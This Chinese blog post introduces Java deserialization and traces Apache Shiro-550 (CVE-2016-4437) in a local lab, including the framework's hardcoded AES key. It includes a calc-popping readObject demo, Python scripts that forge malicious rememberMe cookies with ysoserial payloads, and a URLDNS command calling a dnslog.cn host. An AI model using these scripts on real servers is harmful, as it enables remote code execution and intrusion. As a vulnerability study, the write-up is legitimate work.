Java反序列化漏洞(四)--初窥反序列化及Shiro550漏洞(CVE-2016-4437)分析


不涉及太深,大师傅们写的很详细了,没必要再去抄下来了,写上自己的复现过程及理解就行

本篇所有代码及工具均已上传至gayhub:https://github.com/yq1ng/Java

[TOC]

初窥反序列化

Serializable与Deserialize的实现

  1. 实现接口Serializable/Externalizable (Externalizable 其实也是继承了Serializable )
  2. java.io.ObjectOutputStream.writeObject( ObjectOutputStream stream ):将所有 对象的类 , 类签名 , 非瞬态(transient 关键词标记的属性)和非静态字段的值 写入到数据流中
  3. java.io.ObjectInputStream.readObject( ObjectInputStream stream ):读取序列化数据中各个字段的数据并分配给新对象的相应字段来恢复状态,反序列化过程中 , 需要将重构的对象强制转换成预期的类型

简单的序列化与反序列化的实现

需要序列化的类:

package com.yq1ng.BasicsSerialization;

import java.io.Serializable;

/**
 * @author ying
 * @Description
 * @create 2021-06-28 6:16 PM
 */

public class helloWord implements Serializable {
    //  通过此属性判断序列化和反序列爱护是否为同一个类
    //  一般手动指定,如未指定值的话 Java 会根据类各种信息生成一个值
    //  官方强烈建议自定义值,因为默认计算的值会对类信息高度敏感
    //  而类详细信息可能会根据编译器的实现而有所不同 . 因此可能在反序列化期间抛出意外的 InvalidClassExceptions 异常 
    static final long serialVersionUID = 1L;
    public String name = "yq1ng";
    public String hello(String name){
        String helloUser = "Hello " + name + " ~";
        return helloUser;
    }
}
package com.yq1ng.BasicsSerialization;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

/**
 * @author ying
 * @Description
 * @create 2021-06-28 6:19 PM
 */

public class testSerializable {
    public static void main(String[] args) throws IOException {
        helloWord hello = new helloWord();
        //  创建文件输出流
        FileOutputStream fileOutputStream = new FileOutputStream("F:\\study\\Java\\Shiro\\环境\\Java反序列化基础\\src\\main\\java\\com\\yq1ng\\BasicsSerialization\\testSerializable.ser");
        //  创建对象输出流,将序列化数据输出至文件流
        ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
        //  序列化方法
        outputStream.writeObject(hello);
        outputStream.close();
        fileOutputStream.close();
    }
}

运行后生成序列化文件保存在本地,使用xxd查看文件内容

image-20210629003218148

其中ACED是序列化字符特征值,0005为 Java 序列化版本,一般都是5。更详细的可以用RMI协议分析一文中的SerializationDumper工具来查看,这里不再赘述,有兴趣的可以看看最后参考的第一篇文章

image-20210629004742381

接着是反序列化

package com.yq1ng.BasicsSerialization;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

/**
 * @author ying
 * @Description
 * @create 2021-06-28 6:27 PM
 */

public class testDeserializable {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream("F:\\study\\Java\\Shiro\\环境\\Java反序列化基础\\src\\main\\java\\com\\yq1ng\\BasicsSerialization\\testSerializable.ser");
        ObjectInputStream objIns = new ObjectInputStream(fileInputStream);
        //  反序列化的强制转换(readObject 前面提到过)
        helloWord hello = (helloWord) objIns.readObject();
        fileInputStream.close();
        objIns.close();
        System.out.println(hello.name);
        System.out.println(hello.hello(hello.name));
    }
}

image-20210629004941906

恶意的反序列化例子

反序列化漏洞最终追溯到的函数一般都会到readObject()上,具体介绍见官方文档,第一段说的是可以重写readObject(),用户自定义的会将默认readObject()覆盖掉,且自定义时没有任何限制

image-20210629112635276

写一个恶意readObject()来弹计算器试试

package com.yq1ng.DeserializationExpDom;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

/**
 * @author ying
 * @Description
 * @create 2021-06-28 10:19 PM
 */

public class hello implements Serializable {
    static final long serialVersionUID = 1L;
    public String name = "yq1ng";

    hello(){
        System.out.println("构造函数。。。");
    }

    public String hello(String name){
        String helloUser = "Hello " + name + " ~";
        return helloUser;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        //  调用默认readObject()
        ois.defaultReadObject();
        //  上一章的命令执行函数还记得吗
        Runtime.getRuntime().exec("calc.exe");
        System.out.println("Successfully eject the computer ~");
    }
}
package com.yq1ng.DeserializationExpDom;

import com.yq1ng.BasicsSerialization.helloWord;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

/**
 * @author ying
 * @Description
 * @create 2021-06-28 10:26 PM
 */

public class ExpSerialization {
    public static void main(String[] args) throws IOException {
        hello hello = new hello();
        FileOutputStream fileOutputStream = new FileOutputStream("F:\\SerializableExp.ser");
        ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
        outputStream.writeObject(hello);
        outputStream.close();
        fileOutputStream.close();
    }
}
package com.yq1ng.DeserializationExpDom;

import com.yq1ng.BasicsSerialization.helloWord;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

/**
 * @author ying
 * @Description
 * @create 2021-06-28 10:25 PM
 */

public class ExpDeserializable {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream("F:\\SerializableExp.ser");
        ObjectInputStream objIns = new ObjectInputStream(fileInputStream);
        hello hello = (hello) objIns.readObject();
        fileInputStream.close();
        objIns.close();
        System.out.println(hello.name);
        System.out.println(hello.hello(hello.name));
    }
}

成功弹出计算器。和php一样,反序列化时构造函数并不会被执行

image-20210629113406232

Shiro-550(CVE-2016-4437)

Shiro快速入门

学框架的漏洞怎么滴也要了解框架的基本使用吧,先丢官网:http://shiro.apache.org/

官网10分钟入门教程:http://shiro.apache.org/10-minute-tutorial.html

快速入门地址:https://blog.csdn.net/qq_29051413/article/details/106441028

漏洞概述

官方链接:https://issues.apache.org/jira/browse/SHIRO-550

简单说就是rememberMe cookie 值是AES加解密的,但是其密匙是硬编码,攻击者可以创建恶意对象进行反序列化攻击

环境搭建

下载Shiro:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

idea打开 samples\web,编辑pom.xml,将jstl设置为1.2,添加commons-collections:4.0(食用4.0只是为了反序列化攻击时更为简单点),接着下载Shiro源码,后面调试方便,然后就可以冲了

		<dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
<!--    Serialization    -->
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

image-20210629135436423

漏洞检测

先检测框架,发送一个带有rememberMe 的cookie,shiro会返回一个rememberMe

漏洞检测这个方式较多,burp的ShiroScanner就很好用,打开被动扫描即可,项目地址:https://github.com/amad3u4/ShiroScanner/

image-20210629134534134

使用综合工具利用漏洞

这个就更多了哈哈哈,gayhub随便翻翻就能用

后面会使用ysoserial

image-20210629134731813

漏洞分析

看官方漏洞详情说是漏洞点出现在**CookieRememberMeManager**,idea全局搜索(一定要下载源码哦,我就掉坑里了),按Alt+7查看此类组成元素,大致分析其功能

image-20210629140812318

加密

先跟一遍 rememberMe 加密流程,进 rememberSerializedIdentity 函数,使用Ctrl+Alt+Shift+F7对此函数进行回溯查找

image-20210629141028593

再往上跟进几层,来到onSuccessfulLogin(),此处打上断点。为啥?成功登陆了,就该 rememberMe 了鸭。输入正确账户密码进行登陆,并勾选 rememberMe

首先 使用forgetIdentity()构造 request 和 response,并将Cookie内的值设置为空,也就是清除旧的身份

image-20210629141842443

然后调用rememberIdentity()开始保存新的身份

image-20210629143016801

rememberIdentity使用getIdentityToRemember()获取用户身份,接着跟进rememberIdentity()

image-20210629143755620

跟进convertPrincipalsToBytes,查看其如何转换信息

image-20210629143928704

先序列化在进行加密,现跟进getCipherService()查看如何获取密匙

image-20210629144140053

有 get 就应该有对应的 se t方法,Ctrl+f与回溯法找一找

image-20210629152430059

image-20210629152457604

找到了硬编码的key,然后返回,进入encrypt()

image-20210629153115039

image-20210629162223427

在473行将序列化后的root进行加密,继续跟进encrypt()

image-20210629153444374

此处初始化了 iv ,并调用重载encrypt(),跟进 generateInitializationVector() 看看如何初始化 iv

image-20210629154224819

密匙为128位==8字节,跟进ensureSecureRandom()

image-20210629155817727

java/security/SecureRandom.java:getInstance()处打断点,跟进getDefaultSecureRandom()

image-20210629155946607

随机算法为:SHA1PRNG

image-20210629160021526

SecureRandom 是强随机数生成器,进去看看

image-20210629160119894

可以返回了

image-20210629160155325

红框处将随机生成的值装到 iv 里面,既然 iv 是随机的,解密咋办?接着往下看,先回到encrypt()

image-20210629160332177

image-20210629161640319

加密后返回 byte 数组,至此,转换用户信息完成。梳理一下convertPrincipalsToBytes()

将用户身份进行序列化,然后AES加密,加密模式为CBC,填充为PKCS5Padding,key是Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")iv为随机生成的16为数值。返回结果 bytesiv+加密后字符串

填充可以看:Java安全之安全加密算法

接着跟进rememberSerializedIdentity(subject, bytes)

image-20210629161823157

image-20210629163149877

没啥了,就是把加密后的字符串 base64 加密以下写到 cookie 里面

image-20210629163401672

解密

跟踪加密时有org/apache/shiro/mgt/AbstractRememberMeManager.encrypt()这么个加密函数,再去AbstractRememberMeManager类里看看

image-20210629164031988

回溯此方法,在org/apache/shiro/mgt/DefaultSecurityManager.getRememberedPrincipals()处打断点,带着登陆后的 cookie 随便访问一个页面(如果burp发送后idea未响应直接跳转到相应页面则把请求头里的Upgrade-Insecure-Requests: 1去掉即可命中断点,坑我许久)

跟进getRememberedSerializedIdentity(subjectContext)

image-20210629165412318

取值,base64解码。跳出函数,跟进convertBytesToPrincipals(bytes, subjectContext)

image-20210629165748207

跟进解密

image-20210629165807760

继续跟,其实和加密一样,只不过解密是反着来的,但是还记得前面的问题嘛,iv 是随机的

image-20210629165911587

加密时将 iv 写到了 bytes 的前 16 位,这里将提取前 16 位作为 iv,所以可以成功解密鸭(似乎在说废话,加密的时候就能看出来哈哈哈),跳出解密,跟进deserialize(bytes)

image-20210629170127938

image-20210629170525451

反序列化可以看到readObject()了,由于整个加解密过程没有任何过滤,所以构造恶意类即可执行命令

利用 ysoserial 攻击

工具不多介绍,Java反序列化神器:https://github.com/frohoff/ysoserial

其gadget可以看ysoserial payload分析

commons-collections 4.0

搭建环境时指定了cc版本是4.0,这个版本利用较为简单,使用 ysoserial 的 CommonsCollections2即可完成攻击

加解密脚本参考:https://www.t00ls.net/articles-56799.html

# -*- coding: utf-8 -*-
# @Author: yq1ng
# @Date:   2021-06-30 00:12:27
# @Last Modified by:   yq1ng
# @Last Modified time: 2021-06-30 00:13:01
import sys
import base64
import uuid
from random import Random
import subprocess
import re
from Crypto.Cipher import AES

def encode_rememberme(command):     # Java序列化 ---> 使用密钥进行AES加密 ---> Base64加密 ---> 得到加密后的remember Me内容
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections2', command],
                             stdout=subprocess.PIPE)    #执行的命令
    BS = AES.block_size # aes数据分组长度为128 bit
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()   # padding算法
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")  #kPH+bIxk5D2deZiIxcaaaA== 泄露的key https://mp.weixin.qq.com/s/NRx-rDBEFEbZYrfnRw2iDw https://mp.weixin.qq.com/s/sclSe2hWfhv8RZvQCuI8LA
    iv = uuid.uuid4().bytes     #生成一个随机的UUID
    mode = AES.MODE_CBC
    encryptor = AES.new(key, mode, iv)
    file_body = pad(popen.stdout.read())    #pad('java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 118.25.69.**:6666')
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) #使用密钥进行AES加密 Base64加密
    print('rememberme=%s'%base64_ciphertext,'\n')
    return base64_ciphertext

def decode_rememberme(payload): #remember Me加密内容 ---> Base64解密 ---> 使用密钥进行AES解密 --->Java反序列化
    with open("key.txt", "r") as key:
        key = 'kPH+bIxk5D2deZiIxcaaaA=='
        mode = AES.MODE_CBC
        IV = payload[:16]   # shiro利用arraycopy()方法将随机的16字节IV放到序列化后的数据前面,取前16字节作为iv
        encryptor = AES.new(base64.b64decode(key), mode, IV=IV)
        remember_bin = encryptor.decrypt(payload[16:])
        remember_bin = remember_bin.decode('unicode-escape')
        print(remember_bin)

        pattern = re.compile(r'((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}')
        ip = re.search(pattern, remember_bin)
        ceye = re.search('(\w+)?\.\w+\.ceye.io',remember_bin,re.I)
        dnslog = re.search('(\w+)?\.\w+\.dnslog.cn',remember_bin,re.I)
        burp = re.search('(\w+)?\.\w+\.burpcollaborator.net',remember_bin,re.I)

        if ip:
            print('The key is %s. The ip is %s'%(key,ip))
            return ip
        elif ceye:
            print('The key is %s. The ceye is %s'%(key,ceye))
            return ceye
        elif dnslog:
            print('The key is %s. The dnslog is %s'%(key,dnslog))
            return dnslog
        elif burp:
            print('The key is %s. The burp is %s'%(key,burp))
            return burp

if __name__ == '__main__':
    payload = encode_rememberme("calc")
    with open("payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

    isOutput = input('需要输出反序列化结果吗(y or n)')
    if isOutput == 'y':
        fpw = open("payload.cookie", "r")
        payload = fpw.readline()[11:].split("\n")[0].encode('utf-8')
        print(payload)
        payload = base64.b64decode(payload)
        decode_rememberme(payload)
    else:
        exit(0)

commons-collections 3.2.1

默认shiro的commons-collections版本为3.2.1,但是 ysoserial 不支持cc3.2.1,可以先探测是否出网,使用 ysoserial 的 URLDNS gadget,此gadget不需要其他类的支持。加密脚本如下,参考:shiro反序列化(shiro-550与shiro-721)–ConsT27

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

key  =  "kPH+bIxk5D2deZiIxcaaaA=="
mode =  AES.MODE_CBC
IV   = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, IV)

payload=base64.b64decode(sys.argv[1])
BS   = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
payload=pad(payload)

print(base64.b64encode(IV + encryptor.encrypt(payload)))

使用java -jar ./ysoserial.jar URLDNS "http://w01mdf.dnslog.cn" |base64|sed ':label;N;s/\n//;b label'生成payload,在用脚本加密

image-20210630002631241

可以出网就可以下载远程 webshell 或者反弹 shell

漏洞修复

  1. 升级
  2. 自定义密匙

参考

Java 反序列化漏洞(3) – 初探 Java 反序列化漏洞以及序列化数据分析

超简单的Apache Shiro快速入门

java序列化,看这篇就够了

分析调试apache shiro反序列化漏洞(CVE-2016-4437)

Apache Shiro Java反序列化漏洞分析

idea序列化自动生成_Apache Shiro 反序列化之殇


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
 上一篇
[PHP代码审计]TP5漏洞--Sql注入分析 [PHP代码审计]TP5漏洞--Sql注入分析
试着审计PHP,网上大师傅们分析的都很好,我就不班门弄斧了,仅记录复现过程(不推荐跟踪学习),学习审计思路。 贴几个师傅的链接,环境搭建、详细分析可以去看看 七月火师傅 标题的xxx注入只是随便起的,不一定只有那一个,举个栗子而已 环境搭建
2021-07-23
下一篇 
Java反序列化漏洞(三)--Java反射 Java反序列化漏洞(三)--Java反射
大致写写,可能不太周到 本篇所有代码及工具均已上传至gayhub:https://github.com/yq1ng/Java [TOC]
2021-06-22
  目录